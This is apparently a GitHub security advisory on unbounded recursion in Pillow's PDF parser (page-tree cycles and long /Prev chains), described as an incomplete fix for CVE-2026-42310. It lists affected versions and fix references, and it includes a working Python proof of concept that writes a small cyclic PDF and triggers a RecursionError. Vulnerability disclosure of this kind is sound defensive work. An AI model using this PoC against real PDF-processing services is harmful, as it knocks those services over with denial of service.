Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)
What fixes it
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.
Details
linearize_page_tree recurses on /Kids with no cycle or depth check:
src/PIL/PdfParser.py:1078-1092
read_prev_trailer catches only a repeated offset:
src/PIL/PdfParser.py:697-720(theprocessed_offsetscheck at:714-718is the CVE-2026-42310 fix; a unique-offset chain slips past it)
PoC
from PIL import PdfParser
# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[oid] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same wayRun it:
$ python 11_poc.py RecursionError: maximum recursion depth exceeded
The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.
Impact
A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.
Text from GitHub Advisory Database
Affected versions 52
- pillow, pip>= 5.1.0, < 13.0.0GitHub
- Pillowaffected: >= 5.1.0, < 13.0.0CVE List
- pillow, PyPIfrom 5.1.0, fixed in 13.0.0OSV
- pillow, PyPI10.0.0OSV
- pillow, PyPI10.0.1OSV
- pillow, PyPI10.1.0OSV
- pillow, PyPI10.2.0OSV
- pillow, PyPI10.3.0OSV
- pillow, PyPI10.4.0OSV
- pillow, PyPI11.0.0OSV
- pillow, PyPI11.1.0OSV
- pillow, PyPI11.2.1OSV
- pillow, PyPI11.3.0OSV
- pillow, PyPI12.0.0OSV
- pillow, PyPI12.1.0OSV
- pillow, PyPI12.1.1OSV
- pillow, PyPI12.2.0OSV
- pillow, PyPI12.3.0OSV
- pillow, PyPI5.1.0OSV
- pillow, PyPI5.2.0OSV
- pillow, PyPI5.3.0OSV
- pillow, PyPI5.4.0OSV
- pillow, PyPI5.4.0.dev0OSV
- pillow, PyPI5.4.1OSV
- pillow, PyPI6.0.0OSV
- pillow, PyPI6.1.0OSV
- pillow, PyPI6.2.0OSV
- pillow, PyPI6.2.1OSV
- pillow, PyPI6.2.2OSV
- pillow, PyPI7.0.0OSV
- pillow, PyPI7.1.0OSV
- pillow, PyPI7.1.1OSV
- pillow, PyPI7.1.2OSV
- pillow, PyPI7.2.0OSV
- pillow, PyPI8.0.0OSV
- pillow, PyPI8.0.1OSV
- pillow, PyPI8.1.0OSV
- pillow, PyPI8.1.1OSV
- pillow, PyPI8.1.2OSV
- pillow, PyPI8.2.0OSV
- pillow, PyPI8.3.0OSV
- pillow, PyPI8.3.1OSV
- pillow, PyPI8.3.2OSV
- pillow, PyPI8.4.0OSV
- pillow, PyPI9.0.0OSV
- pillow, PyPI9.0.1OSV
- pillow, PyPI9.1.0OSV
- pillow, PyPI9.1.1OSV
- pillow, PyPI9.2.0OSV
- pillow, PyPI9.3.0OSV
- pillow, PyPI9.4.0OSV
- pillow, PyPI9.5.0OSV
References 5
- github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bfFixvia CVE List
- github.com/python-pillow/Pillow/releases/tag/13.0.0Fixvia CVE List
- github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528Advisoryvia CVE List
- github.com/advisories/GHSA-p4wg-p73j-c528Advisoryvia GitHub
- nvd.nist.gov/vuln/detail/CVE-2026-112895Referencevia GitHub